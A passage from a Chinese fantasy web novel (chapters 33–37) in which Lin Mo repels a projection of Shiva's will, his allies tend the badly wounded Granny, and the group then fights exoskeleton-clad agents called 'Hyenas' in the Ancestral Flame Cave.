差距太大!湿婆意志加持的圣骸之力,非人力可挡!
那淤泥巨手只是微微一顿,掌心被焚出一个巨大的空洞,流淌着恶臭的淤泥,却依旧带着无可阻挡的毁灭之势,继续抓向祭坛上的林默!
死局!
林默瞳孔收缩到极致!刚刚觉醒的武魂之力在湿婆神威下被死死压制!身体如同被钉在祭坛上,动弹不得!
眼看那遮天蔽日的淤泥巨手就要将他连同祭坛一同捏碎!
嗡——!
林默怀中,那沉寂的天工开武图(半卷)猛地爆发出前所未有的暗金光晕!一道苍茫、古老、仿佛来自大地母胎的意志,被湿婆的终极压迫彻底激发!
同时,祖焱窟底部,那暗金色的祖焱湖仿佛受到了某种召唤,猛地沸腾!无数暗金火星冲天而起,并非攻击,而是化作一道洪流,主动涌向林默!
而林默识海深处,那刚刚沉寂的洪荒巨人虚影,似乎感应到了大地的脉动与源初火息的呼应,竟再次发出一声模糊的咆哮!
天工开武图!祖焱源火!武魂共鸣!
三股力量,在湿婆灭顶之灾的压迫下,竟产生了不可思议的……**融合**!
林默福至心灵,破妄右眼金光前所未有的璀璨,锁定那遮天巨手核心处一点极其隐晦的、流转着湿婆神性意志的漆黑“圣骸之核”!
他猛地抬手,并非指向巨手,而是……**指向脚下的大地与沸腾的祖焱**!
“武魂……薪火……”
“地脉……熔炉!”
轰隆——!
整个祖焱窟剧烈震动!仿佛沉睡了万古的地脉龙魂被唤醒!无数暗金色的地脉之力与祖焱源火,顺着林默的指引,疯狂涌入祭坛,再涌入他的身体!
在他身后,那道模糊的洪荒巨人虚影瞬间凝实了数倍!巨人脚踏大地,身缠暗金烈焰,对着那抓下的淤泥巨手,发出了震动天地的战吼!
巨人虚影随着林默的动作,同样抬手,一拳……**向天**!
这一拳,引动地脉祖焱!
这一拳,承载武魂战意!
这一拳,裹挟薪火不灭!
这一拳,名为——
“开……天!”
第三十四章 圣骸退散
轰——!!!
林默身后那凝实如远古神山的洪荒巨人虚影,脚踏祖焱地脉,缠绕暗金烈焰的巨拳,裹挟着地火咆哮、薪火意志、武魂战意,狠狠撞上湿婆意志驾驭的恒河淤泥巨手!
纯粹的力量碰撞!
纯粹的意志对冲!
拳与掌接触的中心,空间先是向内塌陷成一个绝对黑暗的奇点!下一刻,无法形容的毁灭风暴轰然炸开!
嗤啦——!!!
如同烧红的烙铁插入腐臭的油脂!
暗金拳锋所过之处,粘稠恶臭的恒河淤泥被瞬间蒸发、净化!
那冰冷死寂的“归墟”意志,在苍茫厚重的洪荒战意与焚尽万物的薪火面前,发出尖锐刺耳的哀鸣!
“蝼蚁……安敢逆神?!”
湿婆那宏大冰冷的声音,第一次带上了一丝惊怒的波动,在所有人灵魂深处震荡!
淤泥巨手爆发出更浓烈的污秽神光,无数扭曲的梵文在淤泥表面疯狂流转,试图愈合、反扑!
“神?”
林默破妄右眼金光炽烈如恒星,死死锁定巨手核心那一点流转着湿婆意志的漆黑“圣骸之核”!
他的声音被能量风暴撕扯得断断续续,却带着开天辟地的决绝:
“踩在我家园的土地上……你算哪门子神?!”
“开——天——!!!”
吼!!!
洪荒巨人虚影发出震碎虚空的咆哮!拳锋上暗金光芒暴涨!
祖焱窟底部,整个暗金色的祖焱湖瞬间被抽干近半!
浩瀚磅礴的源初火息与地脉之力化作洪流,尽数注入这一拳!
轰隆!!!
拳锋彻底贯穿了淤泥巨手!
那一点被锁定的“圣骸之核”,在破妄金光的洞察与开天拳意的绝对力量下,如同脆弱的琉璃,猛地炸开一道细微却无比清晰的裂痕!
“呃啊——!!!”
一声并非来自物质世界、而是直接在灵魂层面响起的痛苦嘶吼,瞬间席卷天地!
冰冷的神性威压如同退潮般疯狂消退!
遮天蔽日的淤泥巨手,从被贯穿的核心处开始,寸寸崩解、蒸发!
化作漫天恶臭的黑雨,尚未落地就被残留的薪火与祖焱余温彻底净化!
湿婆意志投影,退散!
祖焱窟内,狂暴的能量乱流渐渐平息,只留下满地狼藉的熔岩和空气中焦灼的气息。
林默身后那顶天立地的洪荒巨人虚影,在挥出这惊天一拳后,如同耗尽了所有力量,迅速变得透明、模糊,最终化作点点暗金流光,消散在虚空之中。
噗通!
林默单膝重重跪倒在祭坛上,脸色惨白如纸,大口喘息,全身骨骼都在发出不堪重负的**。
破妄右眼的金光黯淡下去,视野阵阵发黑,引动地脉祖焱、承载武魂战意挥出这一拳的代价,远超想象!
丹田深处,那被符文锁链禁锢的惨绿死水,此刻正疯狂冲击着封印,贪婪地吸收着林默身体的虚弱与祖焱残留的暴烈余韵!
“咳……咳咳!”
岩壁处传来剧烈的咳嗽,婆婆被阿离和两名火神教长老艰难地从碎石中扶起。
她胸前一片焦黑,离火刻刀只剩下半截握在手中,刀身布满蛛网般的裂痕,纯白离火微弱得几乎熄灭。
气息衰败到了极点,眼神却死死盯着祭坛上的林默,带着劫后余生的震撼。
“婆……婆婆!”阿离带着哭腔,泪水在眼眶里打转,“您的伤……”
“死……死不了!”婆婆声音嘶哑,每说一个字都牵扯着内腑剧痛,目光却锐利如鹰隼,扫过林默的状态,厉声喝道:“小子!压制住你丹田里那鬼东西!它想趁你病要你命!”
林默闷哼一声,强提精神,全力运转薪火本源。
暗金光芒艰难地在体表流转,化作一道道符文锁链,死死勒紧丹田内躁动的死水!
符文锁链与死水的对抗,在他体表形成忽明忽暗的惨绿与暗金交织的光芒,看着诡异而凶险。
“婆婆!林默!”墨灵急促的声音从破损的洞口传来。
她骑乘着同样多处破损的璇玑木鸢,强行穿过残留的能量乱流冲了进来,木鸢的扫描光束第一时间笼罩了林默和婆婆。“生命体征极不稳定!
林默体内有高能级异常能量剧烈冲突!婆婆脏腑严重受创,火元本源濒临枯竭!”
“别废话……扫描外面!”婆婆咳出一口带火星的血沫,眼神凝重地望向被撕裂的穹顶缺口。
湿婆意志虽退,但那圣骸之核最后炸裂的波动……
墨灵立刻调转木鸢头部:“扫描千火寨上空……检测到高强度空间涟漪!坐标锁定……糟了!是圣骸核心碎片!它在向西南方向高速遁逃!有微弱但纯粹的湿婆意志残留!”
“不能让它逃!”林默猛地抬头,破妄右眼艰难地捕捉到天际一点几乎融入夜色的惨绿幽光,正以惊人的速度远去!
那碎片蕴含着湿婆意志和骸渊的力量,一旦逃脱,后患无穷!他挣扎着想站起,却牵动内伤,又是一口鲜血喷出。
“小子!给我老实待着!”婆婆厉声制止,眼中却闪过一丝决断。
她猛地推开搀扶的阿离和长老,染血的手紧握那半截布满裂痕的离火刻刀。
“婆婆!您不能再……”阿离惊呼。
“闭嘴!”婆婆深吸一口气,佝偻的身躯竟挺直了一瞬,一股虽微弱却
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无比精纯的离火本源从她干涸的丹田强行榨出,注入残刀!
刀身仅存的纯白离火瞬间暴涨,发出濒临破碎的嗡鸣!
她浑浊的老眼锁定天边那点即将消失的惨绿幽光,手腕猛地一振!
“离火……一线天!”
嗤——!
一道凝练到极致、细如发丝却璀璨夺目的纯白火线,从残刀尖端劲射而出!
无视了空间的距离,瞬间贯穿了那点惨绿幽光!
“呃!”婆婆身体剧震,手中残刀彻底崩碎成齑粉!
整个人如同被抽掉了所有骨头,软软倒下,被阿离和长老死死抱住,彻底昏迷过去,气息微弱得如同风中残烛。
天际,那点惨绿幽光猛地一滞,随即爆开一小团污秽的绿焰,核心处一块指甲盖大小、布满裂痕的漆黑碎片被纯白火线贯穿、灼烧!
发出一声怨毒至极的无声尖啸后,碎片连同残留的意志被离火彻底焚灭!
圣骸核心碎片,灭!
代价是婆婆油尽灯枯,离火刻刀彻底损毁!
“婆婆——!!!”阿离撕心裂肺的哭喊响彻祖焱窟。
“快!最高优先级生命维持程序!火元稳定剂!”墨灵声音都变了调,璇玑木鸢立刻弹出数根导管和注射针,试图稳定婆婆的伤势。
林默看着昏迷垂危的婆婆,又感受着丹田里死水趁着他心神剧震而发起的更猛烈冲击,一股冰冷的寒意与沉重的自责瞬间攫住了心脏。
湿婆圣骸暂时退却,但代价……太大了!
就在这时——
“嗡!”
林默怀中,那沉寂下去的半卷天工开武图突然再次自主发出嗡鸣!
这一次,不再是守护的意志,而是一种强烈的、指向性的牵引!
图卷表面暗金纹路流转,隐隐指向……西南方向!
正是刚才圣骸碎片遁逃的方向!
一股苍茫、古老、带着大地脉动与呼唤的意志,透过图卷清晰传来!
大地母胎意志的指引?那方向……有什么东西在吸引着它?是……天工开武图的另一半?还是……武魂复苏的关键?
“呃啊!”丹田死水的疯狂反噬打断了林默的思绪,符文锁链剧烈震荡,惨绿光芒几乎要透体而出!
他闷哼一声,嘴角再次溢出鲜血,身体摇摇欲坠。
祖焱窟内一片狼藉,残火明灭。
阿离抱着昏迷的婆婆痛哭,墨灵手忙脚乱地操作木鸢进行急救。
林默重伤在身,死水反噬加剧,武魂虚影沉寂,薪火本源黯淡。
而天工开武图的异常指引,如同黑暗中亮起的一盏微弱的灯,却指向了更深的迷雾与……更远的征途。
西南!
第三十五章 残火微光
祖焱窟内,焦灼的空气凝滞如铅。
“婆婆!您撑住啊!”阿离的哭喊撕心裂肺,双手徒劳地按在婆婆胸前焦黑的伤口,试图堵住那微弱逸散、带着火星的生命力。
纯白离火早已熄灭,只余下刺鼻的焦糊味。
“核心温度持续下降!火元本源逸散速度超过97%!物理创伤伴有高强度‘归墟’意志残留侵蚀!”墨灵的声音尖锐急促,璇玑木鸢射出的数道维持生命的光束和药剂导管,在婆婆残破的身躯上显得杯水车薪,“必须立刻进行深度能量隔绝和意志净化!千火寨的医疗条件不够!根本不够!”
她猛地转向林默,木鸢的扫描光束罩住他体表明暗不定的惨绿与暗金光芒:“还有你!体内异常能量冲突指数飙升!再压制不住,你会先炸掉自己!”
“呃……”林默牙关紧咬,汗水混着血水从下颌滴落,每一寸肌肉都在痉挛。
破妄右眼艰难地维持着内视,指挥着薪火化作的符文锁链,死死缠住丹田内那条疯狂冲撞的惨绿“毒蛇”。
“它……在吸我的虚弱……还有……祖焱的余烬……”他声音嘶哑,每一个字都像从喉咙里挤出来。
“该死!内外交困!”墨灵狠狠一拳砸在木鸢操控台上,“婆婆需要顶级医疗舱和意志净化大师!你需要稳定的能量环境和**邪秽的秘宝!现在哪样都没有!”
就在这时——
“或许……还有一线生机。”一个温润如玉,却带着一丝不易察觉的虚弱与沙哑的声音,如同穿过幽谷的风,在残破的洞口响起。
所有人霍然抬头!
一道青衫身影立于洞口焦黑的岩石上。
来人面容清俊依旧,但脸色带着大病初愈般的苍白,眼神深处难掩疲惫,正是蜀山·谢清徵!
他背负的古剑剑穗黯淡,腰间那枚标志性的青穗洗剑葫也不见踪影。
最引人注目的是他指间捻着的一枚三寸长短、通体剔透如青玉的细针,针尖萦绕着极其精纯却似乎后继乏力的生命气息与微弱剑意。
他身后跟着的,并非渔火,而是一个穿着墨绿色劲装、扎着高马尾、背负巨大金属匣子的年轻女子,眼神灵动锐利,带着审视的目光扫过洞内惨状。
“谢……前辈?!”林默眼中闪过一丝难以置信的亮光,随即又被死水反噬的痛苦淹没,闷哼一声。
他记得清楚,谢前辈和石崚前辈在魔都之战后重伤濒死,是被渔火前辈护送回蜀山的!此刻他竟出现在这里?
“清徵道兄!”墨灵同样震惊,“你的剑心……还有石崚大哥他……”
“勉强吊住一口气罢了。”谢清徵一步踏出,身影虽快却少了往日的飘逸从容,带着一丝沉重的滞涩感,已至婆婆身侧。
他目光扫过婆婆胸前那残留着冰冷污秽气息的焦黑伤口,眉头紧锁。
“昆仑的月魄凝元丹吊住了三日,蜀山底蕴倾力施为,也仅能稳住石崚兄弟枯竭的本源不散,我……算是暂时压住了燃尽的剑心余烬。”他声音低沉,带着劫后余生的疲惫,“渔火道友在蜀山守着重伤未醒的石崚兄弟。我感应到此地惊天碰撞与湿婆邪秽,强行出关,借用了最后一点青霖本源凝聚此针。”
他指尖那枚青玉细针瞬间化作一道流光,精准无比地刺入婆婆眉心!
嗡——!
一圈比预想中稀薄许多的青色光晕扩散开来,勉强将婆婆全身笼罩。
那微弱逸散的生命力和狂暴的归墟死气,被这青晕艰难地镇住、隔绝。
“青霖定魂针!”墨灵低呼,眼中燃起希望,却又带着忧虑,“能暂时锁住生机,隔绝外邪!但前辈你……”
“无妨。”谢清徵微微喘息,压下喉头翻涌的气血,看向阿离,“小姑娘,你婆婆的火元本源已近枯井,寻常手段无用。需以至亲同源之火为引,配合蜀山‘洗剑泉’的造化生机,方有一线重塑根基之机。你,可愿随我回蜀山?”
阿离泪眼婆娑,看着青晕中婆婆惨白如纸的脸,又看向指间那枚婆婆传下的离火环,猛地一擦眼泪,眼神变得无比坚定:“只要能救婆婆!刀山火海我也去!”
“好。”谢清徵颔首,目光转向摇摇欲坠的林默,“至于你……”
他指间青光艰难地再次凝聚,又一枚明显比之前黯淡几分的青霖定魂针出现,悬停在林默丹田位置。
“破妄右眼,锁定你丹田邪秽的核心!”谢清徵声音带着不容置疑的决绝,脸色更白了一分。
林默咬牙,破妄金光艰难汇聚,死死“盯”住丹田内死水核心那一点最幽深、最贪婪的惨绿光点。
“去!”谢清徵屈指一弹,动作带着一丝力竭的颤抖!
青玉细针化作一道微弱的青线,刺入林默丹田,针尖正正点在那惨绿光点之上!
“啊——!”林默发出一声痛吼!冰冷刺骨的剧痛从丹田爆发!
那疯狂冲撞的死水,如同被钉住了七寸的毒蛇,猛地僵直!
体表肆虐的惨绿光芒瞬间被压制下去,只剩下暗金符文锁链的光芒稳定流转!剧痛依旧,但致命的失控危机被强行镇住!
“青霖针锁其源,暂时压制。但此针耗我本源,效力大减,最多维持一月!”谢清徵收回手,身形微晃,嘴角溢出一丝淡金色的血迹,被他迅速抹去,“这股邪秽本质诡异,扎根极深。一月之内,若找不到解决之法或彻底补全火种,邪秽反噬,必死无疑!”
“多……多谢前辈!”林默喘着粗气,感受着体内暂时平息的凶险,心中却沉甸甸的。一月!时间更短了!
“别谢。”谢清徵的目光落在林默怀中那兀自散发着微弱嗡鸣与牵引波动的天工开武图上,眼神深邃,“此图异动,指向西南,引动大地母胎意志共鸣……它感应到了另一半‘天工开物卷’的确切方位!或者……是能彻底补全武魂火种的关键之物!”
嗡!图卷似乎回应般亮了一下。
“另一半天工开物卷?!”墨灵失声。
“前辈,这图……”林默追问。
“现在不是细说之时。”谢清徵打断他,强撑着精神,目光扫过昏迷的婆婆和虚弱的林默,最终看向墨灵和她身后的墨家少女。“此地已成风暴之眼。湿婆意志虽退,其爪牙绝不会善罢甘休。圣堂、骸渊、乃至其他觊觎武魂的势力,很快便会循迹而至。”
他指向那墨家少女:“这位是墨家‘巧手’一脉的传人,青鸢。墨灵丫头,她算是你同门师妹,奉钜子之命特来寻你,助你修复那件东西。”
他目光意有所指地瞥了一眼墨灵木鸢上挂着的、布满裂痕的定星盘残骸。
背负金属匣子的少女青鸢上前一步,对着墨灵抱拳,声音清脆利落:“青鸢见过墨灵师姐!师父感应到定星盘损毁,特命我携‘天工密匣’下山助你!修复定星盘核心,追踪天工卷气息,正是我巧手一脉所长!”
墨灵看着青鸢背后那充满古韵与精密感的巨大金属匣子
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,眼中爆发出惊喜的光芒:“太好了!有‘天工密匣’在,定星盘修复有望!青鸢师妹,靠你了!”
谢清徵最后看向林默,眼神带着审视与一丝深意:“我会带这小姑娘和她婆婆尽快返回蜀山,与渔火道友汇合,倾力救治。而你,林默。西南之行,凶险更甚往昔。湿婆吃了亏,必会动用更可怕的手段。圣堂科技在西南的势力盘根错节。还有那被青霖针暂时锁住的邪秽,随时可能反噬。你仅有一月时间。你,当真要去?”
林默低头,看着怀中嗡鸣的图卷,感受着丹田被钉住的剧痛和那冰冷贪婪的注视,最后目光落在青晕中婆婆奄奄一息的面容和阿离哭红的双眼上。
他深吸一口气,体内薪火本源在剧痛中艰难地、却异常坚定地燃烧起来,体表的暗金光芒稳定地压过了被钉死的惨绿。
“图指引方向,邪秽需根除,婆婆和阿离的债……也要有人去讨!”他抬起头,破妄右眼虽疲惫,却燃烧着不容动摇的火焰,“西南,我去定了!”
“好!”谢清徵眼中闪过一丝赞许与不易察觉的忧色,“记住,一月之期,生死时速!阿离姑娘,我们即刻启程!”
他袍袖一卷,一股柔和的青色剑元托起被青晕笼罩的婆婆,转身便走。
“林默!等我婆婆好了,我一定去西南找你!你……你给我活着!撑住啊!”阿离最后看了一眼林默,擦干眼泪,眼神坚毅如铁,快步跟上谢清徵。
青衫背影带着难以掩饰的虚弱与火红身影,迅速消失在洞外的夜色中。
祖焱窟内,只剩下林默、墨灵和同门师妹青鸢,以及一地残火与死寂。
“一个月……”林默摸着丹田位置那冰冷刺骨的针感和下方被强行禁锢的邪物,压力如山崩海啸。
“别发呆了,重伤员!”墨灵操控木鸢飞到林默身边,伸出机械臂处理他的外伤,同时对青鸢道:“师妹,定星盘残骸!这是我们西南之行的命根子!需要什么环境?师姐给你清场!”
青鸢利落地点头,眼神专注:“师姐,我需要一个能量相对平稳的角落。天工密匣展开需要空间!”
她迅速打开背后巨大的金属匣子,幽蓝光芒闪烁,内部结构精密繁复到令人目眩。
林默任由墨灵处理伤口,目光却不由自主地再次投向西南的黑暗。
天工开武图在他怀中安静下来,但那冥冥中的牵引,却如同催命的鼓点。
西南,是唯一的生路,也是倒计时滴答作响的绝路。
与此同时,冰冷纯白的圣堂浮空基地内。
核心指令再次响起:
“目标:‘薪火’林默,状态:重伤,体内检测到高强度不稳定邪秽能量,威胁等级:S。新增状态:检测到微弱蜀山青霖能量压制信号,压制等级:B+。”
“目标:天工开武图(半卷),状态:激活,信号指向:大夏西南横断山脉深处。”
“指令更新(第七执行员‘辉光’签发):”
“1.启动‘潜渊’协议,西南地区进入最高警戒。”
“2.调动‘圣律所’西南分部所有力量,外骨骼特工队‘鬣狗’全员激活,目标区域布控。”
“3.最高优先级:捕获完整‘天工开物卷’载体!回收‘薪火’样本!清除死水污染源!”
“行动代号:”
“——‘薪尽火熄’!”
猩红的光芒,映照着西南的群山,杀局已悄然织就。一个月的倒计时,开始了。
第三十六章 鬣狗与死水
嗤——嗡!
幽蓝光芒在祖焱窟一角稳定亮起。
青鸢的天工密匣完全展开,如同一个微缩的金属丛林,无数精巧的探针和刻刀在定星盘残骸上高速飞舞,溅起点点细碎的火星。
细微的符文被重新勾勒、连接,古老的气息在缓慢复苏。
“核心符文阵列损伤率47%,‘天璇’、‘摇光’两处星轨断裂最严重……”青鸢声音紧绷,眼睛紧盯着密匣投射出的全息光幕,“师姐,我需要‘辰砂’和‘星纹铜’!密匣第三层,快!”
“来了!”墨灵反应极快,木鸢的机械臂精准地从密匣中取出两块闪烁着微光的材料递过去。
她同时警惕地扫描着洞口方向:“修复进度?”
“37%!最快还要十五分钟!”青鸢头也不抬,手指在光幕上飞快操作,“该死的圣堂电弧!这破坏力……”
“十五分钟……”靠在岩壁上的林默低语,破妄右眼扫过洞口外漆黑的夜色。
丹田处,青霖针带来的冰冷刺痛感始终存在,而下方被钉死的死水,如同蛰伏的毒蛇,传递出阵阵饥饿与狂躁的悸动。
他能“感觉”到,它在吸收祖焱窟残留的微弱辐射,在……变强!
“墨灵,外面**静了。”林默的声音带着一丝不易察觉的沙哑,“湿婆的爪牙没来,圣堂的人……也该到了。”
仿佛为了印证他的话——
咻!咻!咻!
三道刺目的猩红光束,毫无征兆地从洞外不同角度射入!目标直指正在修复定星盘的青鸢!
“敌袭!”墨灵厉喝!
璇玑木鸢瞬间弹出两面能量护盾,险之又险地挡在青鸢身前!
轰!轰!
猩红光束狠狠撞在护盾上,炸开刺目的能量乱流!护盾剧烈闪烁,木鸢发出刺耳的警报!
“能量反应!高能粒子束!是圣堂的‘血獠’***!”墨灵操控木鸢急速变向,同时射出数枚干扰弹,“林默!护住青鸢!修复不能断!”
林默身影早已消失在原地!
暗金光芒一闪,他如同瞬移般出现在一道光束射来的方向,破妄右眼金光锁定洞外某处阴影!
“找到你了!”
他并指如刀,一缕凝练到极致的暗金薪火顺着指尖劲射而出!速度比那猩红光束更快!
“呃啊!”洞外传来一声短促的惨叫,随即是重物倒地的声音。
另外两个方向的狙击却未停止!光束刁钻狠辣,死死咬住木鸢护盾下的青鸢!
“该死!不止一个!”墨灵额头见汗,木鸢在狭窄空间内闪避得异常狼狈。
“师姐!给我三秒!”青鸢的声音带着不顾一切的决绝!
她猛地一拍天工密匣!匣内探针速度骤然提升一倍!
材料消耗肉眼可见地加快!她竟是以透支密匣核心为代价强行提速!
“好!”墨灵咬牙,木鸢护盾全开,硬抗一道光束!轰!护盾破碎,木鸢被冲击波掀飞,重重撞在岩壁上!
最后一道猩红光束,直射青鸢后心!
林默的身影再次挡在光路之上!他双臂交叉,薪火本源疯狂燃烧,体表暗金光芒凝成一面厚重的火焰盾牌!
轰——!!!
猩红光束狠狠撞在火盾上!恐怖的冲击力推着林默双脚犁地后退!盾牌剧烈颤抖,暗金光芒明灭不定!
他嘴角溢出一缕鲜血,丹田处被钉死的死水,因为这剧烈的能量冲击和自身的极限压榨,猛地剧烈一挣!
嗤啦!
青霖针的封印,出现了一丝极其细微的松动!一股冰冷刺骨、带着贪婪吞噬意念的惨绿气息,瞬间沿着经脉窜出!
“呃!”林默闷哼一声,右臂上的暗金火盾瞬间被染上了一层诡异的惨绿!盾牌强度骤降!
噗嗤!
猩红光束终于穿透了被削弱的火盾,狠狠擦过林默的肩胛!带起一溜血花和焦糊味!
“林默!”墨灵惊呼。
“成了!”青鸢的尖叫同时响起!
嗡——!!!
一道柔和的、如同星河流转般的银色光晕从修复完成的定星盘中心扩散开来!瞬间笼罩了整个祖焱窟!
那洞外射来的猩红光束撞在这银色光晕上,如同泥牛入海,瞬间消弭无踪!
定星盘·星幕屏障!激活!
洞外的狙击,戛然而止。
“咳咳……”林默单膝跪地,捂着鲜血淋漓的肩膀,破妄右眼死死盯着自己右臂上那缕如同活物般扭动、试图侵蚀他薪火的惨绿死水气息。
丹田内,被青霖针钉住的死水核心,正发出无声的尖啸,贪婪地吸收着伤口流出的鲜血和祖焱窟残留的混乱能量!刚才的冲击,让它挣脱了一丝!
“林默!你怎么样?”墨灵操控着冒烟的木鸢飞过来,扫描光束笼罩他,“肩胛骨贯穿伤!高能粒子灼烧!体内……死水能量异常活跃!它在吸收你的血和外界能量!青霖封印在松动!”
“我知道!”林默声音低沉,带着压抑的痛苦和冰冷的怒意。
他尝试用薪火去焚烧那缕窜出的死水,但那惨绿气息异常顽固,如同跗骨之蛆,甚
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至反过来侵蚀他的薪火!
“是圣堂的‘鬣狗’!”青鸢抱着修复好的定星盘跑过来,小脸煞白,看着洞外,“外骨骼特工队!最擅长潜伏、狙击、围猎落单目标!他们肯定不止三个人!星幕屏障只能暂时隔绝能量攻击和干扰探测,他们肯定会强攻进来!”
仿佛回应她的话,洞外传来沉重的、金属踩踏岩石的脚步声,以及冰冷无情的电子合成音,透过扩音器传来:
“圣律所执行处,外勤特工队‘鬣狗’。”
“目标确认:林默—薪火载体,墨灵—墨家机关师,青鸢—墨家机关师。”
“指令:清除死水污染源,回收天工开物卷载体。”
“放弃抵抗,接受净化。”
沉重的脚步声在洞口停下,至少六具覆盖着哑光黑色外骨骼、手持猩红**或高频链锯的身影,堵住了唯一的出口。冰冷的电子眼在黑暗中闪烁着红光。
“死水……污染源?”墨灵看着林默手臂上扭动的惨绿气息,又惊又怒,“这群混蛋!他们想干什么?”
“他们想要‘干净’的图卷,和‘可控’的样本。”林默缓缓站起身,破妄右眼金光森寒地扫过洞口那六个冰冷的杀戮机器,最后落在自己手臂上那缕不断壮大的惨绿气息上。
丹田内,死水的冲击越来越猛烈,青霖针的松动感越来越清晰。
前有圣堂鬣狗围堵,内有死水邪秽噬主。
林默深吸一口气,压榨着每一分力量,体表的暗金薪火再次燃烧起来,将那缕惨绿气息暂时逼退在伤口附近,却无法根除。
“墨灵,青鸢。”他的声音异常冷静,带着破釜沉舟的决绝,“准备战斗。星幕屏障能撑多久?”
“最多五分钟!他们的能量武器在持续轰击屏障节点!”青鸢急促道,迅速将定星盘嵌入木鸢背部一个接口,“师姐,能量协调交给我!你负责输出!”
“好!”墨灵眼神锐利,木鸢受损的炮口重新亮起危险的光芒,锁定洞口。
林默撕下衣襟,粗暴地缠住肩胛的伤口,暂时止血。
他看向洞口步步逼近的黑色身影,又感受着体内疯狂叫嚣的死水和即将崩溃的封印。
要么被圣堂“净化”,要么被死水吞噬。
没有第三条路?
不!
破妄右眼金光暴涨,死死锁定手臂上那缕扭动的惨绿死水,一个疯狂而大胆的念头,在他心中瞬间成型!
“五分钟……”林默舔了舔干裂带血的嘴唇,眼中燃烧起近乎疯狂的火焰,“足够了!”
第三十七章 薪火焚源
“五分钟……足够了!”
林默低吼,破妄右眼金光如炬,死死钉在右臂伤口处那缕疯狂扭动、贪婪吞噬着他鲜血与祖焱残留的惨绿死水上!
“林默!你想干什么?!”墨灵透过木鸢扫描到他体内能量正以近乎自毁的方式疯狂涌向右臂,惊骇失声,“死水在吸收你的力量!它在变强!快停下!”
“停不下了!”林默声音嘶哑,带着一种近乎癫狂的决绝,“要么被它啃光,要么……烧了它!”
嗤啦!
他左手并指如刀,暗金薪火凝聚指尖,竟狠狠刺入自己右臂的伤口!
不是治疗,而是以更狂暴的薪火本源为燃料,主动注入那缕死水之中!
“呃啊——!”剧痛让他眼前发黑,身体剧烈颤抖,那缕死水如同被浇了滚油的毒蛇,瞬间膨胀数倍!
惨绿光芒大盛,疯狂侵蚀着注入的薪火,甚至沿着伤口反向蔓延,试图钻入他整条手臂!
“疯了,你疯了!”青鸢看着林默手臂上那团不断膨胀、散发冰冷邪秽气息的惨绿光团,小脸煞白。
洞外,冰冷的电子音再次响起,带着一丝数据处理后的波动:
“警告!目标体内‘死水’污染指数急剧攀升!活性超载!威胁等级重新评估:SS(极度危险/失控边缘)!”
“指令更新:最高优先级转为清除污染源!全体‘鬣狗’,强攻!饱和能量覆盖!”
轰!轰!轰!
堵在洞口的六具黑色外骨骼同时开火,猩红的高能粒子束、震荡冲击波、甚至一枚微型电浆**,如同毁灭风暴,狠狠轰击在星幕屏障之上!
嗡——!!!
定星盘发出不堪重负的哀鸣,银色的星幕剧烈扭曲、闪烁,裂纹如同蛛网般飞速蔓延!
“屏障要碎了,最多十秒!”青鸢尖叫,死死抱着定星盘,试图维持。
“林默,来不及了!”墨灵的木鸢炮口亮起,准备殊死一搏。
“不,来得及!”林默猛地抬头,破妄右眼金光穿透手臂上那团躁动膨胀的惨绿死水,精准锁定其最核心处一点疯狂吞噬能量、如同黑洞漩涡般的“源点”!
就是那里!所有贪婪与邪秽的源头!
“给我……烧!”
他喉咙里发出野兽般的咆哮,体内所有薪火本源,连同武魂战意残留的最后一丝力量,被他孤注一掷地压榨出来,化作一道凝练到极致、带着焚尽一切污秽意志的暗金火线!
薪火燃秽·焚源!
暗金火线无视了死水外围的惨绿能量,如同拥有生命般,精准无比地刺入那一点“源点”之中!
时间仿佛凝固了一瞬。
下一刹那——
“吼——!!!”
一声并非来自物质世界、而是源于灵魂层面的、充满无尽痛苦与怨毒的尖啸,从林默右臂那团惨绿死水中爆发出来!
那膨胀的惨绿光团如同被戳破的气球,猛地向内塌陷,恐怖的吸力瞬间消失,紧接着,是焚尽万物的暗金火焰从内部轰然爆发!
嗤嗤嗤——!!!
如同冷水泼进滚油,惨绿死水在暗金薪火的内部焚烧下,发出刺耳的消融声!
黑烟升腾,带着令人作呕的焦臭,那冰冷邪秽的气息被霸道地净化、湮灭!
“呃!”林默右臂剧震,整条手臂的皮肤瞬间变得焦黑、龟裂,鲜血混合着被焚化的死水残渣渗出!
钻心的剧痛几乎让他昏厥,但他眼中的火焰,却燃烧得前所未有的炽烈!
成了,焚源灭质,烧掉了这缕挣脱的死水本源!
代价惨重,但值得!
几乎同时——
咔嚓!
星幕屏障,轰然破碎!
六道冰冷的黑色身影,如同地狱恶犬,裹挟着杀戮的劲风,猛扑而入!
高频链锯发出刺耳的嗡鸣,猩红枪口闪烁着致命的光芒!
“目标锁定,清除污……”
冲在最前面的鬣狗特工电子音戛然而止!
迎接他们的,不是惊慌失措的猎物,而是一条燃烧着暗金与惨绿余烬、如同从地狱熔岩中拔出的焦黑手臂,以及一双燃烧着疯狂战意的金色眼眸!
“清除我?”林默咧嘴,露出染血的牙齿,笑容狰狞,“先尝尝老子的‘污染源’吧!”
他受伤的右臂猛地向前一挥,手臂上那些尚未完全熄灭的、混合着薪火余烬和死水残渣的
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暗金惨绿火星,如同暴雨般泼洒向冲进来的鬣狗小队!
“警告!高浓度能量污染混合物!规避!”电子音急促响起!
但太迟了!
冲在最前的两名鬣狗特工首当其冲,那些诡异的火星沾到他们的外骨骼装甲上,瞬间发出“滋滋”的腐蚀声。
暗金火焰灼烧着金属,惨绿的残渣则如同活物般试图钻入装甲缝隙。
“啊!能量回路过载!”
“护盾失效,未知腐蚀……呃啊!”
两名特工的外骨骼瞬间冒出黑烟,动作变得僵硬而混乱,发出痛苦的电子杂音。
“就是现在,打!”林默厉喝。
“锁定目标!最大功率!开火!”墨灵等的就是这一刻,木鸢仅存的炮口和青鸢操控密匣激发的数道幽蓝能量射线,如同精准的手术刀,狠狠轰向那两名被火星干扰、护盾失效的鬣狗特工!
轰!轰!
能量光束精准命中要害,两具外骨骼瞬间被撕裂、炸开,里面的特工连惨叫都来不及发出,便化为焦炭!
“目标清除两名威胁仍在!”青鸢急促报告,密匣探针转向,幽蓝射线锁定下一个目标。
剩余四名鬣狗特工显然被这突如其来的反击和诡异的“污染攻击”震慑,攻势一滞,冰冷的电子眼疯狂闪烁,似乎在重新评估战术。
林默拄着焦黑的右臂,大口喘息,汗水混着血水淌下。
焚灭一缕死水的代价远超想象,整条右臂如同废掉,经络灼痛,丹田内被青霖针钉住的本体死水,因为刚才的爆发而剧烈翻腾,冲击着封印!
“林默!你的手……”墨灵看着他那条焦黑龟裂、还在微微颤抖的手臂,声音发颤。
